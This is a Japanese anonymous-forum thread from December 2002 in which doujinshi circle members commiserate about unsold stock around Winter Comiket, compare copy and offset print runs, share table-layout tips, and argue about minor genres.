本が売れない悲しさ(その7)

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>1
乙!
スレ立ておつ〜
4名無しさん@どーでもいいことだが。:02/12/18 04:04 ID:nT4T4i+x
>1お疲れ!
冬コミ宅配搬入のため押し入れ漁ったら
えらい量の在庫が出てきたヨ!
そうか…まだこんなにあったのか…
乙〜!

在庫?今回のコミケに全部持ってっちゃうよ(゜∀゜)アヒャヒャヒャヒャ
オフ3種にコピー2種。
夏コミでいつも100のところを気合入れて150部刷ってみました。

結果、普段コミケでは50部ちょいは売れるのに30部ちょい…
その後のイベントでちょこちょこ出てくれてるんだけどまだ在庫が半分も…。
余部が20冊来たので実質は半分以上売れてるんだけど。

冬コミ、緩衝材だけどお誕生日になったんで
気合入れて残部全部ぶち込みました。

多分またここにお世話になると思いますが…

ちなみに新刊2種はちゃんと100部にしたよ。
これもまたいつもより売れなかったらどないしよ。
冬コミ新刊が家に届いた。余部が1部ですた。嬉しかった。
前スレ>948
椅子、庭球、具なんかの数も大手も多い飛翔ジャンルは売れるサークルと
売れないサークルの差が激しいよね
庭球やりだしてもう一年経つけど、参入時は一回で300
捌けてたのが今じゃ50も捌けないよ…。
でも元々一緒にやってた友達は大イベント一回で1000捌くほどに
成長しました。
椅子や具でやってる友達も何人かいるけど、差が本当に激しくて
びっくりするぐらい。
みんな元ジャンルでは部数同じぐらいだったのになあ…
ホント何が違うんだろうと思いつつ
何が違うのかわからないから売れないのかなあとも思ったりして…。
>何が違うのかわからないから売れないのかなあとも思ったりして…。

それが正解かと。
自分の売りどころと客層とのマッチングをちゃんとわきまえてる人は
どこのジャンル行っても売れ行きはあまり変わんないよ。
分析できてるからこそ、合わないジャンルには飛び込まないから。
でも好きでやってる以上そこは度外視で、という人も多いので
ハタからみると分析できてるのかできてないのかはわかんないよね。
自分だけが知っているという罠。

>8さんがそう自覚するなら、そうなんだと思う。
今日宅配送ったyo!
確かこのぐらいだったろうと適当に詰め込んで
封をし、黄色紙も貼った。
その後売り場準備のため各イベントの売り上げ記録ノート引っ張り出したら
夏祭りで売れた数の倍、詰めてしまったことが判明(゜∀゜)アヒャ!
まいったな、こりゃ。
でもそのまま出してしまった。
斜陽ジャンルなのに新刊300刷ったし…あああ〜
冬コミのオフ本の締め切りに間に合わなかった・゚・(ノД`)・゚・
ただでさえ売れないサークルなのにコピーじゃ、さらに売れないんだよ。
とりあえず40ページの本を30部くらいコピしてみようかと思っていますが
正直、今までの戦歴から考えて、そこまで売れたら御の字です。

「本が売れない悲しさ」を身を持って実践してきまつ・・・
12名無しさん@どーでもいいことだが。:02/12/18 23:15 ID:GDymyt+s
私なんて、801が苦手でいつも好きな男女Cで出すけど、やっぱ男女ものって
なかなか売れない。
私は好きで描いてるからいいけど、目の前で溜め息つくのやめて〜(;;)
13前スレ950:02/12/18 23:39 ID:0qjNVS9V
新スレ立ててくださった方ありがとうございました。
自分が前スレ950取ってたと、今知った…ごめんなさい。
やっぱコピーは売れにくいの?>11
オフのが手にとってもらいやすいんでしょうか…
ジャンルの盛り上がりだけで売れるのなんて、サークルがまだ少ない
初期の初期だけの話なんだから、ジャンルが大きくなった今、初期の頃と
同じ部数なんて売れるわけないのに、どうしていつも刷る部数を見誤って
しまうんだろう…。
ていうか、もう限られたサークル以外はそんなに売れないよ、庭球…。
大手中手はウハウハなのかもしれんが、小手との格差はもの凄いよ…。
16名無しさん@どーでもいいことだが。:02/12/19 00:10 ID:nlCTcg3/
次の売れ筋をきちんきちんと読む方が、絵の練習よりも効果的だよ。
ジャンルやカップリング的に、売り上げという意味では弱い事が
分っている所は、それでも作りたいから構わん、ていう言い訳&開き直りが
自分の心と寒いフトコロに対して効くけど、凄く売れているサークルが沢山ある
ジャンルは辛そうですね。私は言い訳が効くジャンル(斜陽というよりは
既に古豪の感もある、パッとしないが息だけは長いゲーム)だから
飛翔の売れる話も売れない話も、スケールデケーと感じてしまいます。
いつも100部で、精一杯がんがっています…。
>12
うちも同じだよ。
801がほとんどで、男女といえば主人公カプルだけ。
私が好きなのはサブキャラカプル。
801スキーには「男女話ってつまんない…」と言われ
主人公カプルスキーには「ここの本、××(サブキャラ)ばっか」と言われ。
泣けてくるヨ。
某落陽ジャンルにジャンル替えしてから、売れないこと売れないこと。
前のゲームジャンルも落陽には変わりなかったのだがピコなりに売れてた。
自分がヘタレなのは分かっているが、なんつーか新参者はサークルさんも
買い手も見向きもしない雰囲気がありあり。
はあ。
愚痴スマソ。
新参者ってつらいのかねえやっぱ…
今はマターリの某ジャンルにいまさら参入したいんだけど
なかなか勇気がいるナァ。
漏れは落陽ジャンルに冬から新規参入しますが何か?



フユコミゴハ コノスレノ オセワニナルヨテイデス・・・
>12
>801が苦手でいつも好きな男女Cで出すけど

そういう消去法で選んだカプって
本当に萌えで男女カプやってる人からみたらつまらないものでつよ。
マンガ描けないから小説書いてる、と言ってるヤシと同様。
そういうヤシにかぎって売れないのをカプやジャンルのせいにする。
なんで絡んでるの?
書き方はアレだが、>12は好きでやってるんだと思うが。

どうでもいいけどうちのジャンル、801より健全の方が売れまつ。
健全ギャグ本は500部くらい刷ってるんだけど、
どうしても出したかった801本出したら、
200が余って余って今苦しんでいる……。
前のジャンルでは比率が逆だったんだがなー。
冬でサクールを終了させようと在庫を全て送ってしまったが
ダンボール6箱もあるよ…(内、新刊が2箱)
絶対に売れねーYO! ここで報告する日も近そうだ…。
>14
コピーならではの手作り感とか、コピーなら余りができなくて楽は楽。
だけど、女性や若い子はコピーを好まない傾向にあるような気がする。
やっぱり保存状態や見た目もオフの方が良い、と個人的に思うし。
超大手で「コピー本○部限定!」とかなら別だろうけど、そんな話は
ピッコピコな我がサークルには無関係だよ・・・

あきらかに雑な(下書きナシの一発書き本/本人談)オフ本と
気合の入ったコピー本。
どっちがうれるか見比べてみたけど、オフ本の方がよく売れていたっけ。
オフの〆切りが間に合わず、コピーに変えたんだけど…
やはりコピーは売れないのか…・゚・(ノД`)・゚・。
うちのジャンルはコピーとか価格の安い本(200〜500円)の方が出る。
オンリーイベントがたくさんあってそればっかりに出てるからかもしれないけど。
あと、サークル側でもコピー本率が多いのも。

逆に600〜の本は出にくい。

こういうジャンルもあるってことで。
>27
めずらしいね。よかったら伏せでいいのでジャンルキボンヌ。
コピ本好きにはおすすめってことだよね。
>>26
うちの本はコピーの方が出る。
値段を原価ギリギリにして、200円ぐらいまでの安いコピー本ですが…
安さで買ってくれてるんだと思う。
オフも500円くらいまでの安い本しか置いてないけど、断然コピー本の方が売れる。
オフが売れなくてカナスィ…
うちはコピーが全然売れない。
一冊一冊手作りしたコピー本って、
売れない時はオフよりも寂しい(´・ω・`)
>24
ウチも在庫突っ込みます。なんかの間違いが起こることを期待して。
しかし全部併せると700冊にもなるんですが。
すげえな、大手並みだヨ。

…新刊30冊も売れなかったぴこなのにどうしよう…
それより在庫10種、どうやって並べたら…(;´Д`)
>31
色々と同じぐらい。
在庫の種類が多いと悩むよね……
「足りないと嫌だなぁ」「原価が…」→多めに刷る
 ↓   ↑
ちょっと余る
   ↓
種類が沢山になる
   ↓
買い手が目移りし、新刊しか買わない/むしろ何も買わず去る
   ↓   ↑
新刊は売れるが、既刊がいつまでもなくならない
     ↓
捨てるに捨てられない
良くないと知りつつもつい全種持っていきたくなってしまう
     ↓
無限ループ〜そして伝説へ……〜

自分はかつてこうして16種ためますた……。
自分のキャパよりかなり少な目に刷った新刊+
もうちょっとでなくなりそうな既刊+いぱーいの既刊を厳選して置くようにして、
ようやく今9種にまで減りますた。がそばりまつ……。
34名無しさん@どーでもいいことだが。:02/12/19 20:02 ID:FmMDVVcv
宜しければ参考のため、どっち系か書いて戴けると嬉しいです。
漫画、アニメ、ナマモノとか。
35名無しさん@どーでもいいことだが。:02/12/19 20:40 ID:6WID0s3M
イベント初挑戦でしたが、ぜーんぜん売れませんでした(泣
〉33
〉無限ループ〜そして伝説へ……〜
ちょっとワラタ。

〉35
イベント初参加なら、売れないのが普通だと思われ。
特に長く続いてるジャンルだと読み手も
新規開拓しなくなってるしナー。
37名無しさん@どーでもいいことだが。:02/12/19 22:24 ID:NU1k0JLP
机の上に何種類くらい置いてあると
手に取ってもらいやすいんだろうか…
在庫の種類が多いからイベント毎に
選んで持って行こうかと思ってるんだけど、悩むなぁ。
B5なら四種くらい?
>36
3種がベスト、4種がベター、頑張って5種くらいじゃないかなぁ。
|||||
────
□■■※
□=在庫、もう少しでなくなりそうな本
■=新刊
※=在庫、腐りそうなくらい沢山ある本
|||||=その他在庫を小出しに立てておく(あくまでそっけなく。視界を遮ってはいけない)

こんな感じで置いてみると、■で目をひき、□と※もついでで売れ、
かつその他の本が欲しい人にも行き渡って(゚д゚)ウマーだった。
ちなみに自分33だが、色々試してる中ではこの方式がベストだたよ
うん、やっぱり3〜5種類がイイと思う。新規の買い手さんてパッと見て
新刊プラス、既刊の中の無難な本(ギャグとかオールキャラとか、安いとか)
2冊位買って、気に入ってくれたらコアなエロとか、単価の高い本とかを
次にイベントに来た時買ってくれたり、通販してくれたりする人が多い
様な気がする。自分もそういう買い方しますし。
ていうか、新刊だけで三種あるんですが…
在庫合わせたら五種だよ。多い?
38さんの並べ方がベストだと思うんだけど、カプ本と
ギャグ本、FCオフと単色オフ、コピーが混じってて
5種並べようとしたりするとかなり配置に悩む。

売れない悲しさ。

ジャンル移動直前にウッカリいつも通りに刷って
しまい、斜陽気味なオンリー1回きりでしか売る機会が
無く、今も眠っている200部中150部の在庫をどう
したものかと。
冬コミ受かったけど今のジャンルには置けまいよ(ノД`)
移動前のジャンルの本は…困るよねー
ジャンル違いでも出るサークルもあるみたいだけど、
うちはまったく駄目だった……
自分の本だけなら4種だけど、
同席する子のも置くから6種だ…
これは配置を考えないといけないなぁ。

移動寸前に作ってしまった在庫は西翼へ送りましたが何か?
200冊くらいあったような…
移動ジャンル前の本は置かなかったな。
ジャンルが全く別方面だった上、少し間あいてたし。

今回の夏コミ、手元にある在庫ぜーんぶ送ってしまいました。
新刊がないコミケ、一体どれだけ捌けることか。
せめて半分ずつ位無くなってホスィ…(゚д゚)
ちなみにうちも今回6種。
うち今回委託だから1種しか出せない…。しかも100部しか…。
在庫、たんまり。
コミケ一回落選すると在庫保管期間が半年以上延びるよ。辛いよう。
さて、ハラシマるか!と思っていた11月頭。
893と思しきならず者が家の物置きに勝手に侵入。
(一応裁判所の書類はあるがどう見ても”偽造”)
こちらが「異義あり!」「待った!」を叫ぶ前に在庫は瓦礫の山の中へ。
命賭けて同人誌は守ったものの、冬コミで売ろうと思っていた、
陶器製の置き時計が全滅。
そして、寒空の中家を追い出されました。
…もうハラシマる力も無くなりました。
当日サクールにいらっしゃるありがたい方にはごめんなさいと土下座するつもりです。
でも、夏こそはリベンジを!!
長文スンマソ。
4746:02/12/20 15:44 ID:dv4FPu8I
すんまそ。
「すさみスレ」の方がよかっただろうかと迷ったんですが。
「こういうのも『売れない悲しさ』の一つかも」と思って書きました。
>46
…よくわかんない…。
チンピラさんに襲撃されたんじゃ?

てーか、何故46はターゲットロックオンされたのだ?
5046:02/12/20 16:32 ID:dv4FPu8I
親の会社があぼーんしたためでつ。土地屋敷ごと奪われました。>49
そうすね。よくわからない文ですね。逝ってきまつ。>48
冬コミ当日は、私は会社でどうしても抜けられないので、
守り抜いた在庫を友人に託そうと思います。
5146:02/12/20 16:35 ID:dv4FPu8I
連カキコになりますが。
…会社も「28日は出勤」なんて1ヶ月前に言うな。
なんとか午前中だけでも有明に行きたかったですが、
友よ、漏れの代わりに頭を下げてくれ…うううう。
>50
(((((;゚Д゚))))) … ・゜・(ノД`)・゜・
がんがれ…。
生きろ、50〜〜〜
893もカネが欲しいなら、50の置き時計を持ち帰ってイベントで売ればヨカッタのにねえ。
5546:02/12/21 00:03 ID:UZsHGdHr
日付けが変わった&自宅アクセスなのでIDが変わっていますが46です。
>>52さん、>>53さんありがとうございます。
コミケにはせめてぺら紙でも作りたいです。
>>54さん
シャキーンの額にはとてもとても足りません…
それに、その時計には私のペンネームとサイトアドレスがばっちり入っています。
コミケで見つけたら、即、通報願いたい物です。
893、前スレ893の事かと思って悩んでしまったYO。
不謹慎でスマソ。
5714:02/12/21 00:28 ID:onfOBk4F
>>25,27,30
ありがとうございました!!
単価上がっちゃうけど、小部数でオフ本作ってみようかな…。


>55
ここは一般的な掲示板とは違うルールで動いているので
そろそろ全レスはお止めになったほうが良いと思われまつ。

人生は辛いことがあった分、幸せな事が訪れると先人も言っております。
がんがれ〜
59名無しさん@どーでもいいことだが。:02/12/21 01:45 ID:fBzbol64
46タソがソープに売り飛ばされる日も近いモヨリ
>59
こえーよ!
「売れない」の意味チガーウ
残り僅かしかない前ジャンルの本を捨てるに忍びなくて、
地方イベントのちらし置き場にコソーリ置いて来た。
帰る頃にはなくなってた。

売ってあげられなくてごめんよ、在庫。
63再び46:02/12/21 19:41 ID:xCtMVtqd
いいこともなかった訳ではないでつ。
余 剰 在 庫 を タ ダ で 廃 棄 し て
も ら っ た わ け で す か ら 。
いやー減った減った。
マジで物置満杯の超ピコサクールの在庫がああっと言う間に!…ゴミの山に 。・゚・(ノД`)・゚・。
それではみなさん今度こそごきげんよう…
>ああっと言う間に!
嘆息がすげえリアルでんな…

別居してたらよかったね。今さらだけど。
知り合いに親の借金3000万返し続けてるヤシがいる。
夏と冬位しか会わないが、明るいいいヤシだよ。
そんな重荷しょいこんでるとは、他の友人に聞くまで知らんかったよ。
あんたも大変だろうけどがんがって…

65名無しさん@どーでもいいことだが。:02/12/23 00:41 ID:I65f6HpT
なんとも言えないスレに…
とりあえずガバレー
しかし、なんでゲンコ描き終わって眺めてる瞬間て
私すごいじゃん!?ってくらい良く見える幻を見てしまうん
だろう…

スレ違いのような気もしますが結果的にスレ内容につながる
話題ということでひとつ。
>66
激しくドウイ…。
出来上がった瞬間は、このデッサンの崩れその他もろもろに
どうして気付かないんでしょうねえ…。
>66,67
私も同意…
出来てきた本を会場で見た後は、激しく鬱になりまつ
>66-68
出来上がった本を最初はゆっくり見られない。
当方モノ書きですが、絶対というくらいどこかで誤字脱字を発見してしまう罠…
今日の売上100円。
しかも便せんて…本は駄目ですか…

インテ、コミケではサークルがいっぱいだが地方のイベントではほぼ皆無であるジャンルの
本を、売れないとわかっていても(ピコ手、今日のスペースと違うジャンルだから)
今回出したくて、もうすぐ最終回を迎えるジャンルゆえに、
二日間ろくに眠らず、たとえ印刷部数が一桁でも頑張って仕上げたコピー本…
やっぱり売れませんでした。
今日は友達と合同スペースで、またその友達がグッズサークルながらもかなりの
売上をほこり結構知名度もあるので、見ていってもらえるかなーと思っていましたが
甘かった…。見向きもされん…
彼女と何が違うんじゃろと思えば、私と彼女の絵の系統が全く違う事でしょうか…
ポップで目の大きい可愛い絵の彼女。
どちらかと言えばリアルっぽい、線が細く、彼女の絵に比べれば目の小さな絵の私。
低年齢化が進んでいる地方イベント、好まれる絵柄ではないのだろうな。

本当はインテに出たいんだ…
だけどリア高同人屋は、そのスペース代も出すのに一苦労なんだよ…
オフ本なんか出した事ねえやい…
長文スマソ。
>>70
大人になって就職してから、本を作ってもいいじゃん。私はそうだったよ。
発行は半年に一回位のペースで、一種刷るのに3〜6マソ位だから旅行や音楽の
趣味を持っている人に比べれば、お金の面は以外とクリア出来るし。
但しピコ限定の罠。ではピコスレに逝ってきます…。
多分冬コミ後にここに来るんだろうなぁ…。
新刊50部出ればいいけど出ないんだろうな。
マイカプでまともに活動してるのうちくらいなんでつ。
盛り上がりも欠ける…。好きだって言ってくれる人も一桁はいるからいいけど。
冬コミ後にお会いしましょう皆様。・゚・(ノД`)・゚・セメテメダツヨウニイマカラポップガンバルヨ
>72
>マイカプでまともに活動してるのうちくらいなんでつ
ハァ?うちはコミケでもオンリーワンカプですが何か?



がんがろうね。・゚・(ノД`)・゚・。
74名無しさん@どーでもいいことだが。:02/12/23 22:24 ID:jAn3ybPb
だから本が売れないのを嘆くなら何故にメジャーカプに逝かんのかと小1時間(略
萌えがないのに、本出せないでしょ。
>74
好きだから。1桁でも萌えてくれる人がいるから。馬鹿なんでつよ。
でも在庫見てため息つくくらい許してくれ。
>73
ガンバロウネ・゚・(ノД`)・゚・。
74は「てっきりピコスレ先走り勘違い厨」なので反応しなくてヨシ
その昔オンリーワンジャンルで活動してたけど
こんなマイナー作品なのに10部 も 売れた!  
3通 も 感想キター!
となにもかも感動づくしでしたよ。
(直後に移動したジャンルとは10倍の格差があった)

売れないジャンルだというのは分かっててそれでも好きでやっているという自負があり
周りと比べるということをしなかった。する必要も感じなかった。
私はコレが好き! ただそれを言いたいために活動してた。それで大満足。

マイナーだとわかってるなら
どうして数が捌けないことをわざわざ嘆くのかわからんなぁ。
結局のところそういう人は
大部数を売り上げる派手な同人活動にゆがんだ憧れを抱いているだけって気がする。
同人活動って隣と比べるもんだっけ?
本当に好きだからだけでやってる人は
売れなくても0冊じゃないかぎり嘆いたりしないもんじゃないか?
嘆くくらいなら>74が言うようにメジャーどころに移ったほうが幸せなんじゃないのか。
なんでも理屈どおりには考えられないもんですよ。
わかってはいても、ときには弱音をはきたくなることもあるさ。

マイナージャンルでも、ジャンルの上限いっぱいまで売ってる自信があれば
それなりに納得できるのかもしれない。
でもたとえば、マイナーなりに100の需要があるのがわかっているのに
自分は10しか売れないならそりゃめげるし。
状況は人それぞれ。
別に改善案を提示してくれなんて誰もいってないんだから、
だまって愚痴らせてあげればいいんじゃないかな。
>71
遅レスだけど、大人になるまで待て、というのはなかなかきついかと…
大人になったら、同人自体やめるかもしれんでしょ?
学生よりも忙しかったり、飽きてしまったりで。
私も大学入りたては忙しさに慣れず、休止してた。
今の萌えを数年後に発散しても、意味がない。
今描きたいものは今描かなきゃ風化すると思う。
事情がどうかは知らないけど、>70、高校生ならバイト頑張って
そこから同人費用出そうよ。
私はそうしてたよ。

私のジャンルは今年の冬コミが一番の盛り上がりになると予測されるので、
今本出さなきゃどうするの、って気持ちがよくわかる。

ちなみに趣味はやたら多いので、同人と並行してるとものすごいお金が…
・゚・(ノД`)・゚・。
我がマイナージャンル、関西じゃ100が限界みたいだけど
帝都まで赴けば上限はもっと高いのわかってるんだけれど
帝都まで足を伸ばしたからってうちの本が絶対売れるってわけじゃないけど
でもせめてより多くの人の目に触れさせる努力はするべきだよなー・・・・

・・・・夏コミの申し込み書、通販でげとしてみようかな・・・・
8278:02/12/24 14:35 ID:bob4HEEp
>マイナーなりに100の需要があるのがわかっているのに
自分は10しか売れないならそりゃめげる

そりは *マイナーだから売れない* のとはちょとチガウ。

分母自体が違うのに分子を比べて嘆くのって…ごめん…やっぱわからん。
他と比べるのが間違ってるというか
おまいらの*好き*には結局覚悟が足りないんじゃねぇか、
と小一時間…て気分。
>>79
>別に改善案を提示してくれなんて誰もいってないんだから、
>だまって愚痴らせてあげればいいんじゃないかな。

このスレはあなたの仰るこの文章につきます。

>>74>>78>>82はこのスレの主旨を理解していない勘違いさん。
数百レスごとに同じような勘違い厨が現れますが、いつもの事なので無視してください。
半年前、知り合いが某池袋のイベントに同人初参加して激しく落ち込んで帰ってきました。
どうも1〜2冊しか売れなかった(んで隣が超大手でバカ売れだった)のがショックだったらしい。

「はじめてだからそんなもんちゃうの?」
と慰めてはみたものの、普段の明るいヤツとのあまりの豹変に結構びっくり。
普段は周りを笑わせてくれる楽しいヤツだったので、同情より前に驚きました。
いったい何があったのかと…。そんなに売上げってのはこたえるのか…と。
私は参加してなかったので具体的に何があったのかはわからないのですが…

会えば元気なく、話せば言葉なく、メールで泣いて、チャットで悲しむ。
「でえい!キサマ鬱陶しい!もう氏ね!」と冗談でも言ってしまうと本当に死ぬんじゃないかと…。

ヤツのえらい所はそんな気力でもそのイベントをバネに描き続けていたようで…、
先日見せてもらった物は最初の本と比べて見違えるほどキレイな表紙と内容。
ディスプレイにも力を入れたとかで、二桁売上げ(目標だったらしい)に達し、元にもどりました。

今では
「半年前のあんたは扱いが大変だったよ、マジで」
「正直スマンカッタ」
と笑いあって言ってます。
コイツも含め、作家様のご健闘をお祈りする疥癬でございました。長文失敬。
>84
ええ話や…(ノД`)・゚・
>78
このスレはピコスレではなく「思ったよりも売れない悲しさ」
なのでマイナーもメジャーも大手もピコも関係ないです。
大手が嘆きに来ることもある。
>78
73だけど、自分がマイナージャンル(=需要が少ない)だということはわかってるよ。
そして>78さんが言ってる
>私はコレが好き! ただそれを言いたいために活動してた。それで大満足。
この気持ちもわかる。
だから私はこのジャンルをやっていきたい。
でもそれと同時にもっと売れたいとも思ってるよ。
だって自分の萌えをもっと多くの人に知って欲しいからね。

もっと売れたいと思ってる奴
=大部数を売り上げる派手な同人活動にゆがんだ憧れを抱いているだけ
→メジャージャンルいけや( ゚Д゚)ゴルァ

なんて言われると(´・ω・`)ショボーン
マイナーで売れないと、このジャンル(またはカプ)好きな同人って
世界中に自分だけ…?という被害妄想に取り付かれるし。寂しい。
>>84
自分も頑張ろうと思えるいい話をありがとう…。・゚・(ノД`)・゚・。
>87
>自分の萌えをもっと多くの人に知って欲しい

そういう露出狂な気持ちが自分にはわからなかったんだとちょっと納得したよ。
私はどっちかというと、読みたい人が読めばいいさと思ってるんで。
なるほどね。色々やね。
露出狂呼ばわりかよ。
>91
そういう人の心の機微が理解できないほど、無神経な奴なんだから
あんまり構わないでほっといてやれよ。
可哀相だろ。人間としてのレベルが低いなんて分からせたらさ。
頼まれても居ないのに説教した挙句に「露出狂」か…。
同人やってたら誰でもある程度露出狂だと思うけどなあ。
> 同人やってたら誰でもある程度露出狂だと思うけどなあ。
同意。良く言えば経験語り好きな親切。
悪く言えば露悪趣味な人が多いと思う。

これだけでは何なので・・・
夏祭りは10部以下だったが、冬祭りはどうでるかな。
新刊はもちろんセット利用で原価割れギリギリの100部っすよ。
10年かけて、売りますわ。好きですから。このジャンル。
78=90かどうか知らんが、スレの主旨無視して乗り込み偉そうに説教、
そのうえ「覚悟が足りない」「露出狂」だの…何様なんだ?
てか、94が言うように同人誌出してる以上、
誰でも露出狂なんじゃないか?
>自分の書いたものを他人に見てほしい、と思う気持ちを「露出狂」と呼ぶなら。
なるほどね。色々やね。と、分かったような口きく前に
もうちっと周りの空気読めや。
君、現実社会でも浮いてない?
三年前、某飛翔系オンリーに二回ほど出たが一冊も売れなかった…(;´д`)
コピ10部刷ってなくなったのは人に上げた分だけ(´・ω・`)
来年の一月、また同じジャンルのオンリーに参加しようと思ってる。
い、一冊くらい売れるとイイナ…
>自分の萌えをもっと多くの人に知って欲しい
これは露出狂ってより、感動の共有を指すんじゃないかなぁ。
好きなCDを他の人に薦めたりするのと同じ理屈で。
>98
>感動の共有
本当にその通りだよね。的確な言葉だ…。
少なくとも自分もそう思うな。
露出狂禿げワロタ。アフォ過ぎでイイ!
・本作ってたり(サイト作ってたり)する奴はみんな露出狂

…って、ココで初めて聞く言い回しじゃないなあ。
割と昔から、あちこちで聞いた事あるので、
けっこうポピュラーな物の考え方みたいだね。

・掲示板に書き込む奴も潜在的露出狂

…と言うのまでは聞いた事がある。

ちなみに俺は露出狂呼ばわりは抵抗ないな。実際そうだと思うし。
好きなら好きで、深く静かに好きでいればいいものを、
念入りに準備して、祭にまで出かけて見知らぬ人に晒してるんだもん。

見知らぬ人の中から感動を共有できる人間を探すわけだし、
方法論として既に露出狂的にならざるを得ないんだから、
露出狂呼ばわりされても仕方ないっつうか。
そもそも、そう拒絶反応おこして大騒ぎするような表現でもない。
>>101
自分を認知して欲しいってのが最大の目的なのが露出狂。
自分を露出するのが手段で、目的は他人との感動の共有ならそれは露出狂とは言わない。

その上で、「自分がいかに原作が好きか」を「晒し」に行く人は
自分を露出狂だと思えばいいし、実際露出狂なのかもね。
ていうか、自分の内面の一部を露出して意思表示する事を
「狂」と評するのはおかしくないか?…
悪態ついておいて「事実だろう」とねじ込むに似ているし、
「狂」と言われてそれを肯定する奴。
ただの卑屈をニヒリズムでコーティングしてクールぶってる
だけだろ?
「露出狂」に関して何か反論を書こうと思ったが、
よく考えてみれば漏れはエロ同人だった。
自分のえげつない妄想を印刷して売りまわってれば反論の余地ないな。
やはり漏れは露出狂かもしれんw
スレ違いな説狂魔に「藻前らは露出狂だ」と言われたから過剰反応してるんでは。

「売れなくてもいい。誰かに見てもらいたくて作ってるんだ。
 なんて考えは、はたから見たらただの露出狂かも」
と自分で自分を見下す使い方ならここまで叩かれはすまい。
スレが変な方向に…
107名無しさん@どーでもいいことだが。:02/12/27 16:10 ID:XJ35XsH1
路線を元に戻して、売れない話。

4年前に150部刷った本、在庫がまだ半分くらい残ってるよ。
売れないなら売れないで処分したいのだが、
コミケでしか見掛けないマイナージャンル故か、
古い本なのに、いまだに3・4冊くらい出る。
コミケで1冊も売れなくなるまでは、在庫に付き合うさ!!
108名無しさん@どーでもいいことだが。:02/12/27 16:13 ID:9jZg/utd
>>107
がんがれー
マイナーマンセ!!
さぁ売れない悲しさを味わいに逝ってこよう…
110名無しさん@どーでもいいことだが。:02/12/27 17:06 ID:4Byjq+kr
いきなり思いだしたのだが。
私の知人、激マイナー音楽の評論本(無論一ジャンル一サークル)を毎度出してる方いるが
オフで百部、毎度売り切ってる・・
すごいことだったんだなぁ。今度見せてもらうことにしますた。
あ、明日から楽しみだね… (((( ;゚∀゚)))ガクガクブルブルドキドキワクワク
自分の本番は明後日なんだけど…降臨予定…。・゚・(ノД`)・゚・。 奇跡よ起これ… 
今回が同人最後のコミケ。
なので、調子こいてちょいと多めに搬入しますた。
   ↓
+ 激しく7箱 +
   ↓
+ 激しく後悔 +

明後日ここに来ないといけない予感がむんむんと……。
予感がむんむん!
ワラタ
去年のコミケで50しか売れなかったのに300搬入しますた。
多分漏れもみんなの仲間入りでつ……

とりあえずカラオケで平耕の物真似でもしてきまつ。
ジャンル内一サークルの私。
段ボール二箱になった明日の荷物を前に思う。
一個で良いんだ、一箱分で充分間に合うどころか、おつり(余り)がでる
くらいの数が入ってるんだ。
でも、でもでももしかしてもしかしたら、夏よりも人が来てくれてその人に
本が行き渡らなかったら申し訳ないし申し訳ないし…………

でもきっと、明日一箱にしときゃよかったって後悔するんだよなあ……


明日の占い、金運が最悪でした
やっぱあかんのかーむーんむーん(´д`;)
くじ引きで、500円当たった☆
今年最後の運を、使い切った‥‥。
搬入分、全部売れ残りそうなヨカーン‥(ノД`)・゚・。
今日、釣り銭用の両替行って来たよ!
参加は3日目、楽しみ〜

デモコノオカネガヤクニタツコトガアルノダロウカ…((;゚Д゚))ガクガクブルブル
私の参加は明日…。近郊の方はそろそろお帰りかも。報告щ(゚д゚щ)ドントコーイ!!
…来ない方がイイのか…
>>119 ドントキタ━━(゚∀゚)━━ !!
覚悟していたはずなんだけど、冬コミ、本が2冊しか売れずに(´・ω・`)ショボーン
その分小規模イベント出てた方がよかったYO!
前は5冊とかはけてたのに…何故?(´・ω・`)
…売れなかったよー!庭球で初参加・サークルスペースに委託でした。
予部30もついて、しかもその予部分がハケマセンデシタ…

次こそは頑張ってやる…
100刷った本が20部しか売れなかった(´・ω・`)ショボーン
200刷った本が18部しか売れなかった。(´・ω・`)ショボーン

これからこの在庫どうしよう・゚・(ノД`)・゚・
でもまた本作りたいんだ。ファンだって言ってくれた人がいるんだ。
がんがるよ…
三冊だけ残ってた本が漸く完売した。よかった。
2年以上前の本だが。

8冊だけ残ってた本が、あと4冊になった。だけどここからが
中々無くならない……
124+を犯し隊 ◆35t0QqSzKI :02/12/29 01:41 ID:cMbEdlAM
「・・・」が多いスレだな
コピ本、20にするか30にするか迷って、30にしたら17しか売れなかった。ショボーン。
4箱搬入して5箱搬送した…。
一箱増えてるよ!!・゚・(ノД`)・゚・。 シンカンガ ゼンゼン ナクナラナカッタンダ
調子乗ってた自分に気付いた。
今度コミケに出るときはちゃんと分相応な行動します…。
まだコミケのまっただ中なんですが……
……
……
……
(つД`)

年末は焼き芋かな……。
新刊余部分しか売れませんでした。
次は…次こそはがんばる・゚・(ノД`)・゚・
>127
がんがれ!まだ終わってない!
130名無しさん@どーでもいいことだが。:02/12/29 13:20 ID:7i71O861
もう笑うしかないヨ
131まるてつ:02/12/29 13:25 ID:K1P5pdJg
3日目一緒に買物行くひと募集です!
開場から15分程度で中に入れる場所に3日前から並んでますので大手の本確実に手にはいれます
始発で大手に行く予定の人や今から徹夜予定の方、または一人でつまらない人などどうぞ!
もちろん友達同志や複数組もOKです
皆優しいオタクさん達ばかりなので時間に遅れなきゃ誰でも募集受付てます!
まるてつが前面的にフォローしますので

ネタじゃないので気をつけて!
皆で楽しく冬コミしましょう!
        
132127:02/12/29 15:49 ID:zXN+2SId
本日の戦果は7箱搬入で4箱搬出、
なくなった3箱は全部新刊で、持ち込み分完売しますた。

ここ2年は新刊はすぐ完売してるんだけど、
3年前に斜陽を見誤って作った大量の在庫×5種が。
新刊が売れる喜びよりも、
この大量の在庫を見てイライラする気分の方が大きい今日この頃。
思い切ってあぼーんしてスキーリしてきまつ……。
箱単位で数える人がなんでこのスレに…
>>133
まぁ贅沢な悩みでも悩みは悩みだし、愚痴りたいときもあるものさ。気にせんことよ。
ここはピコでも中堅でも大手でも、売れなくて悲しい人達が集うスレのはず。
>133
>135が前提のスレではあるけど、仮にピコでも
分厚い本で種類が多いと箱単位になってしまうのよん。

(つД`)
大手で売れないってワケワカランけど、まぁいいや
過去ログでもループ状態だったし

ピコの妬み僻み嫉みですよははは
毎回「ここはピコスレじゃない」って書き込み出るし、
もうスレ7にもなるのに、いい加減>1に書いた方がよさそうな気が汁……。

>137
このスレできた時からいるけど、割と初期から>135の定義で通ってたようにオモウが……。
ここは*思ったより売れなかった*人の集うスレだから、
5000部刷って4000部しか売れなかった大手も来れば、
50部刷って20部しか売れなかったピコも来る、と。
大手だって出せば出すだけ売れている訳じゃないんだし、
部数を間違えて「売れなかった……」と悲しむ時もあるでしょ。
ずいぶん先の事だが、一応テンプレ案
